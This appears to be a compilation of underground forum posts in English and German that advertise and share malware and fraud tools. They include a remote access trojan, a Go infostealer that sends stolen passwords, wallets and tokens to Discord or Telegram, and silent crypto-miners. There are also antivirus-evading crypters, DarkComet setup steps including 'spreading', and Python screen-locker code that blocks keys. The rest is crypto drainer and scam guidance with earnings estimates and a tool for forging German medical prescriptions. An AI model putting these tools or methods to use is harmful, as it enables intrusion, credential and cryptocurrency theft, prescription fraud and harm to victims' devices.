Introducing one of the most advanced Windows Remote Access Tools available today. NexSteal RAT v1 comes with major improvements, resolving previous HVNC issues and delivering full compatibility with Windows 10 and Windows 11.

✨ Notable Features of Nexsteal RAT v1:
✔ Fixed and stabilized HVNC monitoring
✔ Bypass for black screen issues in banking and financial applications
✔ Full remote desktop control on Windows 10 & 11
✔ Stealth keylogger for discreet activity monitoring
✔ Live webcam and microphone access
✔ Advanced file management (upload, download, delete)
✔ Password recovery and credential extraction
✔ Application and process control
✔ Insights into FUD (Fully Undetectable) techniques
✔ Reliable performance for long-term sessions

@nexstealcommunity

Erstellen Sie makellose Privatrezepte in Rekordzeit. 

Rezet-Buddy ist das spezialisierte Desktop-Tool, das Ihnen den kompletten Erstellungsprozess abnimmt und Ihnen in Sekundenschnelle ein 100 % authentisches Dokument liefert.

Warum Rezet-Buddy?

·         Perfekte A6-Druckvorlage: Vergessen Sie mühsames Skalieren oder Verrutschen beim Drucken. Rezept-Buddy liefert Ihnen eine perfekt auf das DIN A6-Format abgestimmte Druckvorlage – bereit für den direkten Ausdruck.

·         100 % korrekte Schreibweise: Das System garantiert die exakte Einhaltung der strengen optischen und formalen Vorgaben eines Privatrezepts. Von der PZN über die genaue Platzierung des »Dj«-Vermerks bis hin zur exakten Formatierung – alles sitzt millimetergenau.

·         Wunschärzte & Medis voll kompatibel: Sie haben die volle Kontrolle. Jeder beliebige Wunsch-Arzt (inkl. eigenem 1:1 formatierbarem Stempel, LANR & BSNR) sowie sämtliche Medikamente lassen sich nahtlos und fehlerfrei in das System integrieren.

·         Immer auf dem neuesten Stand: Ausruhen gibt es bei uns nicht. Rezept-Buddy wird im Hintergrund stetig weiterentwickelt und verbessert. So können Sie sich darauf verlassen, dass Vorlagen, Logik und Datenbanken stets aktuell sind und den neuesten Anforderungen entsprechen.

·         Maximale Zeitersparnis: Geben Sie einfach Patientendaten und das gewünschte Medikament ein. Das Tool erledigt die komplette Formatierung und Zuordnung automatisch im Hintergrund. So erstellen Sie Ihr Rezept in kürzester Zeit.

💻 Faires & Flexibles Lizenz-Modell

Keine versteckten Kosten, keine automatischen Abo-Fallen. Sie zahlen nur für die Zeit, in der Sie das Tool auch wirklich nutzen möchten:

·         7 Tage Lizenz: 20 €

·         14 Tage Lizenz: 38 €

·         30 Tage Lizenz: 50 €

🎁 Spezial-Bonus: Zu jeder 30-Tage-Lizenz versenden wir 15 originale Privatrezept-Vordrucke gratis per Post direkt an Sie!

 https://www.rezetbuddy.li/

📄 Zusatz-Angebot: Originale Privatrezept-Vordrucke

Benötigen Sie weiteres Original-Papier für den perfekten Druck? Bestellen Sie hochqualitative Privatrezept-Rohlinge direkt bei uns mit attraktiven Mengenrabatten:

·         1 – 9 Stück: 7,00 € / Stück

·         10 – 24 Stück: 6,00 € / Stück

·         25 – 49 Stück: 5,00 € / Stück

·         50 – 99 Stück: 4,00 € / Stück

·         ab 100 Stück: 3,00 € / Stück

(Beispiel: Bei einer Bestellung von 30 Vordrucken zahlen Sie nur 5 € pro Stück = 150 € gesamt).

www.virustotal.com

https://www.virustotal.com/gui/file/babe87148dbca9c4c5528f6d4288f69cd10fd97a0aca9e14866f8ee3ffc03743?nocache=1

Proofs

https://www.directupload.eu/file/d/9325/ue96sc3i_png.htm
https://www.directupload.eu/file/d/9325/ozdq4bai_png.htm
https://www.directupload.eu/file/d/9325/gjzo4zwn_png.htm
https://www.directupload.eu/file/d/9325/59b3gw38_png.htm
https://www.directupload.eu/file/d/9325/7jac4uy9_png.htm
https://www.directupload.eu/file/d/9325/wz4hsfgk_png.htm
https://www.directupload.eu/file/d/9325/c8ce9eob_png.htm

Rezept-Buddy – Schnell. Präzise. Diskret.

Holen Sie sich jetzt Ihre Lizenz und das passende Papier, um sofort professionell durchzustarten.

https://www.rezetbuddy.li/

PHANTOM STEALER
Open Source Golang Infostealer - Full Source Code

What is this?
Full source code for a Windows infostealer written in Go. Grabs browser passwords, cookies, crypto wallets, Discord tokens, and more. Sends everything to Discord webhook or Telegram bot.

Built this as a learning project, figured I'd release it for anyone who wants to learn or use it for research.

Features:

Browser Stealer - Chrome, Edge, Brave, Opera, Firefox + more
- Passwords (DPAPI + AES-GCM decryption)
- Cookies
- Credit cards
- Autofill
- History

Crypto Wallet Stealer - 40+ wallets
- Desktop: Exodus, Electrum, Atomic, Bitcoin Core, etc
- Extensions: MetaMask, Phantom, Trust, Coinbase, Ronin, etc

Token Grabber
- Discord tokens (including encrypted)
- Telegram sessions (tdata)
- Steam (SSFN + config)

System Info
- Screenshot
- Clipboard
- WiFi passwords
- Hardware specs
- Installed software
- Running processes

Evasion
- VM detection
- Debugger detection
- AMSI/ETW patching
- Defender exclusion

Persistence (optional)
- Registry
- Startup folder
- Scheduled task
- WMI subscription

Exfil
- Discord webhook
- Telegram bot
- Zipped and organized

Setup:
1. Edit config/config.go with your webhook/bot token
2. Build: go build -ldflags "-s -w -H windowsgui" -o stub.exe .
3. Optional: Use garble for obfuscation
4. Run and check your webhook

Download:
github.com/1rhino2/phantom-stealer

Scans:
Clean build: ~5-10/70 on VT (expected for any stealer)
With garble: lower detection

Credits:
Solo project, built from scratch. No copy paste.

Note:
For educational purposes. Don't be stupid with it.

Virusscan und VM ist euere Freung!

Und natürlich solltet ihr eure frisch gecrypteten Stealer nicht auf einen normalen AV-Service uppen

Da die meisten geuppten Tools Stealer, Rats, Bots, Malware etc. sind wird fast jedes AV eine Warnmeldung abgeben.
„Klingt komisch, ist aber so"
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Auch sollte derjenige der diese Tools runterlädt und nutzt genau wissen was er tut!!!

Bei gecrypteter (Malware) zeigt Virusscan diese Datei etc.evtl. als clean an.

Eben weil der Schadcode durch das crypten getarnt wird

https://workupload.com/file/nVRjmJsjmEu

Ich würde gerne wissen wie einfach die Anwendung ist und ob die 900$ pm gerechtfertigt sind. Das Ding klingt geil das Vic bekommt nichts mit und weren kann sich sagen keiner. Ich habe mal bisschen gesponnen und mir eine Zene mit den Möglichkeiten alleine in der Strafverfolgung ausgemalt. Rein kommen ist dank r32 und einem guten T Pferdchen keine große Sache. Ich würde meine alten Strafverfahren raus suchen und zum dank jedem Sachbearbeiter eins. Stellt euch die Möglichkeiten in Verbindung mit keylogger auf einem Behörden Rechner vor. Einfach geil ich würde täglich 100 Führerscheine wiedererteilen einfach weil geil. Verfahren einstellen. Streifenhörnchen Berichte an die Sta umschreiben. Grundsätzlich jeden Bericht mit die Beweislage ist dünn aber wir können beweisen das er verdächtig ist da er fast auf die Beschreibung passt. Göttlich ich freue mich jetzt schon. Habe gehört es gehen auch Test Zugänge für paar € 24std oder so.

CorvusMiner

==========================

Informationen

CorvusMiner ist ein Open-Source, stiller Krypto-Miner. Er unterstützt sowohl CPU- als auch GPU-Mining.
Dieser Miner funktioniert auf den neuesten Windows-11-Versionen dank sogenanntem „Transacted Hollowing“.

Funktionen

• Verstecktes CPU- und GPU-Mining
• SSL-Unterstützung
• Watchdog, der den Miner-Prozess überwacht und ihn neu startet, falls er nicht läuft
• Speicherinjektion, um den Miner nicht auf der Festplatte speichern zu müssen
• „Prozessüberwachung“, die das Mining pausiert, wenn bestimmte Programme erkannt werden
• Dynamische Konfigurationen („on the fly“), um Einstellungen bei Bedarf zu aktualisieren
• https://github.com/laprosa/CorvusMiner

Crypto seed-phrase grabber
Cost: $20–$50 | Experience: Beginner | Needs: scam page + target method | Expected monthly: $5k–$10k
You need a fake scam page that will request the victim to enter their seed phrase. This page should be perfectly made and compatible with crypto wallets. For example, if you are targeting MetaMask users, your scam page should be designed to target them: ask them to connect and then show your page.

Crypto file installer
Cost: $50–$100 | Experience: Hard | Needs: Trojan + target method | Expected monthly: $2k–$10k
This one requires sending your file over the web. The file needs to have a Trojan that will allow you to control the victim’s computer and steal all data, including crypto and seed phrases.

Crypto drainer
Cost: $200–$500 | Experience: Medium | Needs: drainer + target method | Expected monthly: $10k–$80k
This gives you the ability to take all money and NFTs from any connected wallet. The victim needs to connect their wallet on your website and sign a signature, like on any legitimate website. When they sign the signature, all money from their wallet will go to you. There is a panel called “Exogator” that provides scripts and tools for this.

Crypto fake exchanger
Cost: $50–$100 | Experience: Medium | Needs: fake exchanger + target method | Expected monthly: $8k–$30k
This lets you create a fake crypto exchanger. When someone tries to exchange, for example, 50 USDT to BNB, it goes normally and successfully. Based on trigger limits, if you set $500 and someone tries to exchange $520, the money will go to you. You can create such scripts if you have development skills or use scripts provided by services like Exogator.
[hide]
Crypto fake services
Cost: $50–$100 | Experience: Hard | Needs: fake website + payment method + target method | Expected monthly: $2k–$5k
This allows you to promote services like website creation or other high-cost services. Don’t target low-cost clients — they will damage your reputation quickly. Start doing marketing once you reach your first client; you will then know the best approach and can create more websites.

Now, how to get traffic to all these methods. At the base we need to target crypto users. Here are headline methods. As I said, if you want me to talk deeply about each one let me know in the comments:

Social media marketing
Crypto advertising services
Search engine advertising
SEO targeting
Social media sharing
Manual Discord targeting
[/hide]

Disclaimer
All content is for educational purposes only.

3,000+ ways to refactor mail pass databases

Mirror #1

Mirror #2

Mirror #3

[spoiler=💡 If links don't work]

1. Disable your VPN/Proxy temporarily

2. Try a different mirror from the list

3. Clear your browser cache and retry

4. Reply in the thread if the issue persists

[/spoiler]

HMC 3.1 Mail Checker - MULTI FUNCTIONAL TOOL

Mirror #1
Mirror #2
Mirror #3
Mirror #4

Kostenlose Version meines stillen XMR-Miners – sie ermöglicht es Nutzern, die Software zu testen und sich damit vertraut zu machen.

Funktionen:

• Watchdog – Ein separater Prozess, der den Miner überwacht und ihn automatisch neu startet.
• Stealth Mining – Das Mining wird pausiert, wenn der Nutzer ein Prozessüberwachungstool geöffnet hat.
• Idle Mining – Die Ressourcennutzung wird dynamisch angepasst, wenn der Nutzer inaktiv ist.
• Remote-Konfiguration – Miner können aktualisiert werden, ohne sie neu erstellen zu müssen.
• Zum Autostart hinzufügen – Der Miner bleibt bestehen und startet automatisch beim Hochfahren des Systems.
• Selbstlöschung – Die EXE-Datei löscht sich automatisch, nachdem der Miner gestartet wurde.
• Stealth bei Vollbild – Der Miner pausiert vorübergehend, wenn der Nutzer eine Anwendung im Vollbildmodus verwendet (ideal z. B. beim Gaming).

Dieses Projekt verwendet eine angepasste Version von xmrig; der vollständige Quellcode dafür ist im GitHub-Repository verfügbar.

Verfügbar auf GitLab.

Overlord ist jetzt offiziell live.
Es fehlen aktuell noch einige Funktionen, da es sich in der Beta-Phase befindet, aber ich verspreche, dass es seinem Namen gerecht wird.

https://github.com/vxaboveground/Overlord

Vielen Dank für eure Unterstützung – ich hoffe, es gefällt euch.

Einige der wichtigsten Funktionen:

1.) Funktioniert auf Windows, macOS und Linux (Server und Client)
2.) Kann zehntausende Clients verwalten
3.) Sehr schnell dank WebSockets
4.) CSP zum Schutz vor XSS-Schwachstellen (falls vorhanden)
5.) Verarbeitet Dateien über den Browser, um Remote Code Execution (RCE) zu verhindern
6.) „Extrem gut“ (umgangssprachlich)
7.) Entwickelt vom Ersteller von Pulsar

• •  258

 

Posted Thursday at 21:58

It's being some time since i gave something back to community. I am still in learning of c# code and i decide to take some dive into KeyLogger programming. This tool took me around 6h to code. some function could be definitely coded better and there are still some bugs i need to investigate but for testing purposes its fine.

Here’s a high-level overview of the functionalities provided by the code:

I am using MaterialSkin for this tool since ootb framework in visual studio is not that pleasing...

• Dynamic Assembly Name and Attributes:
  Randomized names and attributes (like, title, description, version) are generated for the compiled executable using predefined adjective and noun arrays. Here i used believable names not just random strings. These attributes are included as assembly metadata for the generated executable.
   
• Input Handling for SMTP Configuration:
  User-provided inputs such as SMTP server, email credentials, recipient email, and a time interval are collected via textboxes.
  These values are dynamically replaced in the source code template. I am using default SMTP port 587.
   
• Source Code Augmentation:
  Necessary assembly attributes (like, version, company, product). They are also randomly generated from pool of predefined wordlist and later on used in compilation.
   
• Code Compilation:
  The application compiles the modified source code which is stored within tool itself, into an executable file dynamically using the CSharpCodeProvider class.
  Compiler parameters include settings for a Windows executable target, x86 platform, and external assemblies required by the generated code. So yea, its 32bit application with .net 4.5 dependency.
   
• Executable Generation:
  A unique name for the executable is generated dynamically (like, BrightFox123.exe).
  The compiled executable incorporates the user-provided SMTP settings and dynamically generated assembly.
  Generated stub has only around 9-10kb !
  Current detection is 3/38 on kleenscan https://kleenscan.com/scan_result/f4d99d...b6b0b66c7d
   

Tool is protected with VMProtect against reverse engineering. For generated executable you can use ILSpy to check the source code, its not protected at all and free for viewing.
Feel free to test it out and if you find bugs please report them back to me, i will try to fix it in next release.

Download LINK:
https://mega.nz/file/sY5F0ZYZ#_3j2t4DfwP...GWKfN_LWvk
Pass for zip is Base64 encoded: UE9DRGFya1RlcnJvcktMRw==
 

Some Screenshots

 

Grundsätzlich gilt:

Virusscan und VM ist euer Freund.

Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgebeben.

Das ist bei diesen Programmen normal, macht die Sache abr für Anfänger nicht besser!

Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

 

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

 

Silent Crypto Miner Builder v4.1.0 - When stealth meets reliability

https://drive.proton.me/urls/QQTNDZA2N8#MOEX3L3zpb0t

How to setup a RAT?
In this tutorial, I have chosen the RAT called DarkComet 5.3. And many of the RAT will have almost same settings like this.
The setup process will consist of:

1. Creating no-IP account. Or creating FreeDNS account.
2. Setup DUC client. Or setup FreeDNS client.
3. Setup your RAT.
4. Portforwarding.
5. Crypting
6. Spreading

1. Creating no-IP account or Creating FreeDNS:
Creating no-ip account (Click to View)
or
Creating FreeDNS account (Click to View)

2. Setting up the DUC client or Setting up the FreeDNS client:

Setting up the DUC client (Click to View)
or
Setting up the FreeDNS client (Click to View)

A starter kit for devs to learn encryption and methods for privacy in static analysis

This codebase only uses public, safe technologies such as XOR encryption, TMP file save, and regular macOS open/run from disk methods.
By clicking the link below you agree to only use the codebase as a reference, for legal purposes that are specifically educational, authorized, and for personal use only on devices owned solely by you.

https://github.com/LNodesL/MOS-Legendary-Static-Crypt

*******************************************************************************************************
Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgeben.
„Klingt komisch, ist aber so"
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

import sys
import ctypes
import time
from tkinter import Tk, Label
from PIL import Image, ImageTk
import keyboard

IMAGE_PATH = "keped.png"    
SAFE_EXIT_KEY = "<Escape>"      
AUTO_CLOSE_MS = 10000            
HIDE_CURSOR = True              

user32 = ctypes.windll.user32 if sys.platform == "win32" else None

def enforce_foreground(window_id):
    if user32:

        try:
            user32.SetForegroundWindow(window_id)
            user32.BringWindowToTop(window_id)
        except Exception:
            pass

def hide_cursor():
    if user32:

        user32.ShowCursor(False)

def show_cursor():
    if user32:
        user32.ShowCursor(True)

root = Tk()
root.configure(bg="black")

root.attributes("-fullscreen", True)      
root.overrideredirect(True)              
root.lift()
root.attributes("-topmost", True)          

img = Image.open(IMAGE_PATH)
sw, sh = root.winfo_screenwidth(), root.winfo_screenheight()
img = img.resize((sw, sh), Image.LANCZOS)
photo = ImageTk.PhotoImage(img)

label = Label(root, image=photo, bg="black")
label.pack(fill="both", expand=True)

def keep_on_top():
    try:
        root.lift()
        root.focus_force()

        if user32:
            hwnd = ctypes.windll.user32.GetForegroundWindow()

            enforce_foreground(root.winfo_id())
    except Exception:
        pass
    root.after(1, keep_on_top)  

def ignore_event(event=None):

    print("nice try fam")

if keyboard.is_pressed('ctrl'):
    keyboard.press('win')
    print("win")
if keyboard.is_pressed('win'):
    print("winwin")

root.bind_all("<Key>", lambda e: ignore_event(e))
root.bind_all("<KeyPress>", lambda e: ignore_event(e))
root.bind_all("<Button>", lambda e: ignore_event(e))
root.bind_all("<ButtonPress>", lambda e: ignore_event(e))
root.bind_all("<Motion>", lambda e: ignore_event(e))
root.bind_all("<Enter>", lambda e: ignore_event(e))

root.bind_all("<Alt-F4>", lambda e: ignore_event(e))
root.bind_all("<Control-Alt-Delete>", lambda e: ignore_event(e))
keyboard.block_key('Win')
keyboard.block_key('right windows')
keyboard.block_key('left ctrl')
keyboard.block_key('right ctrl')
keyboard.block_key('alt')
keyboard.block_key('shift')
keyboard.block_key('del')
keyboard.block_key('esc')
root.bind_all("<Alt_L>", lambda e: ignore_event(e))
root.bind_all("<Alt_R>", lambda e: ignore_event(e))

root.protocol("WM_DELETE_WINDOW", lambda: ignore_event())

root.bind(SAFE_EXIT_KEY, lambda e: root.destroy())

if HIDE_CURSOR:
    try:
        hide_cursor()
    except Exception:
        pass

if AUTO_CLOSE_MS > 0:
    root.after(AUTO_CLOSE_MS, lambda: root.destroy())

root.after(100, keep_on_top)

try:
    root.mainloop()
finally:

    if HIDE_CURSOR:
        try:
            pass
        except Exception:
            pass

*******************************************************************************************************
Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgeben.
„Klingt komisch, ist aber so"
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

Tested on Windows

• run command: snake-crypter your_executable_file your_key
• snake-crypter will generate a file: tmp.py
• run command: python tmp.py , or run it however you wish.
• your original program will be decrypted (inside of run.js) and run as a program

https://pypi.org/project/snake-crypter

The main file is the builder's encryptor.py script that will encrypt the program with XOR, and then save the tmp file with a stub template, putting the encrypted data into it alongside the decryption key. This next part is very important: This is a demo codebase. For true security, you should clone the project and modify the template in encryptor.py ( download the source / view files & hashes )
 

This is a basic method, mostly meant to highlight the capabilities of using a pip package to handle the "build process", and using Python to handle the runtime. You can always use other methods instead, and add other build steps too if you wish to advance this further. Best of luck & reply in thread if you have any questions. I do not offer any sort of private crypts or support.

NCrypt is my first crypter project, ever. Since starting this project I have started & released side projects, worked on prototypes, and even have another brand new similar codebase in the works. However, NCrypt holds its own!

I am releasing NCrypt as a starter kit for anyone wanting to protect their own programs, intellectual property, and data. NCrypt can help you learn the building blocks of how a crypter works, while being ready to use as-is too!

NCrypt is ideal if you don't have a dev setup because it contains a tiny C compiler inside of it. This means you can modify the Stub.c file whenever you want and the next time you use NCrypt.exe, it will use the new code from there!
 

By choosing to click & reveal the spoiler below, you agree you will only use NCrypt on your own personal devices for authorized, legal uses, and for whitehat purposes only. Clicking the spoiler below for any other use is prohibited, against my terms of service, and violates the license agreement of this codebase & associated tools.

If you still agree, you can view the source code here:
https://github.com/LNodesL/NCrypt

Programs (pre-compiled):

*******************************************************************************************************
Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgeben.
„Klingt komisch, ist aber so"
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

Tested on Linux & Windows

• run command: nodes-crypter ./original-cpp-program secretKeyPhraseHere
• nodes-crypter will generate a file: run.js
• run command: node run.js
• your original C++ program will be decrypted (inside of run.js) and run as a program

https://www.npmjs.com/package/nodes-crypter/v/1.0.6

This is an example of how you can use JS in unique ways due to npm & node. This method of encrypting and then decrypting, pushing to a tmp file & running as a child process is a proof of concept. You are free to learn from it, use it for personal use, and enhance the codebase - within limits of its license & npm TOS.

The main file is node-crypter's only bin script, which encrypts your original program using XOR.

Similarly, the final run.js file has a decrypt function:

The run.js file will decrypt the program (encrypted binary held inside of run.js) & push it to a tmp file:

Then, it runs the tmp file using the exec() function.
 

*******************************************************************************************************
Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgebeben.
Das ist bei diesen Programmen normal, macht die Sache aber für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

Ready to Use AND C++ Source Code = Starter Kit

EspañaKrypt - Free Crypter
Ready to use program to crypt your PE!

By opening the spoiler below, you are agreeing that you will never use this tool for any illegal purpose, and only for educational, research, or personal use on your own devices.

NOTE: These compiled versions work for x64, not 32-bit! I am working on Espana-32 which is intended to protect 32-bit programs with an x86 builder. This current version EspanaKrypt is a 64-bit builder with x64 PE file support only.



Drag & Drop any file onto EspanaKrypt.exe in File Explorer

• Drag & drop any valid PE into EspanaKrypt.exe in your file explorer to crypt the file. For testing, the helloworld.exe file has been provided to you.
• A terminal window will appear with a log of information. Upon success, your original PE has been encrypted and is ready.
• Press Enter to continue & close the terminal window. Galleon.exe will be created for you, which is the final program. Opening this will also open your original PE that you dropped into EspañaKrypt in the first step.

Dont want to drag & drop? Use the Command Line Interface instead!
You may use EspañaKrypt CLI like so:

Grundsätzlich gilt:
Virusscan und VM ist euer Freund.
Da die meisten geuppten Tools Stealer, Rats, Bots etc. sind wird fast jedes AV eine Warnmeldung abgebeben.
Das ist bei diesen Programmen normal, macht die Sache abr für Anfänger nicht besser!
Darum immer eine VM (https://www.heise.de/download/product/virtualbox-40385) nutzen.

Btw:
Die Tools sind nicht von mir!
Wie sagt man so schön:
Das ist alles nur geklaut und gestohlen, nur gezogen und geraubt. 
Entschuldigung, das hab ich mir erlaubt.

BAT.man is a tool that converts your .EXE program into a .BAT file. It uses a custom base64 function to write the bytes data of the original program into the .bat file. It uses a unique method for 'certutil' to convert the base64 data back into binary form, in runtime.
 

https://github.com/LNodesL/BAT.man/tree/v0.0.1

Ready to Use Program - Mirror Links:
v0.0.1

Full Source Code + Ready to Use Program - Mirror Links:
v0.0.1

• Allows users to select a file and encrypt it using AES encryption.
• The encryption key can be manually provided or randomly generated.

Stub Generation:

• Generates a C# stub source code containing the encrypted file data in Base64 format, split into parts.
• The stub source code can optionally include additional code for obfuscation.
• The stub source code can optionally include startup code to add the executable to the startup folder.

Stub Compilation:

• Compiles the generated stub source code into an executable.
• Optionally changes the icon of the compiled executable.
• Optionally clones assembly information, removes the manifest, or clones icons from a source assembly.

Detailed Steps
File Selection:

• User selects a file to be encrypted.
• The file path is displayed in a text box

Encryption Key:

• User can provide an encryption key or generate a random one.
• The key is displayed in a text box.

Encrypt File:

• The selected file is read into a byte array.
• The file bytes are encrypted using AES encryption with the provided key.
• The encrypted bytes are split into five parts and converted to Base64 strings.

Generate Stub Source:

• A template for the stub source code is loaded.
• The Base64 strings are inserted into the template.
• Additional code and startup code are conditionally added based on user selections.

Compile Stub:

• The modified stub source code is compiled into an executable via CodeDom.
• The icon of the executable can be changed if an icon file is provided.
• Assembly information can be cloned, the manifest can be removed, and icons can be cloned from a source assembly if selected.

Some Screenshots:


Crypted file scan: https://kleenscan.com/scan_result/96aa75...b4431f4ac5
Download Link: https://mega.nz/file/gN5QQQZR#87gZuENsyh...TnbKXoo3jw
Pass for .zip file: Base64 UE9DY3J5cHRlcg==

Thanks: Marco, Demi, $Otis11 for helping me to understand some part of the codes and guidence.
Special Thanks goes to Nodes and Py_Dev for great ideas which they posted on forum and made this project possible

VM und Virusscan ist euer Freund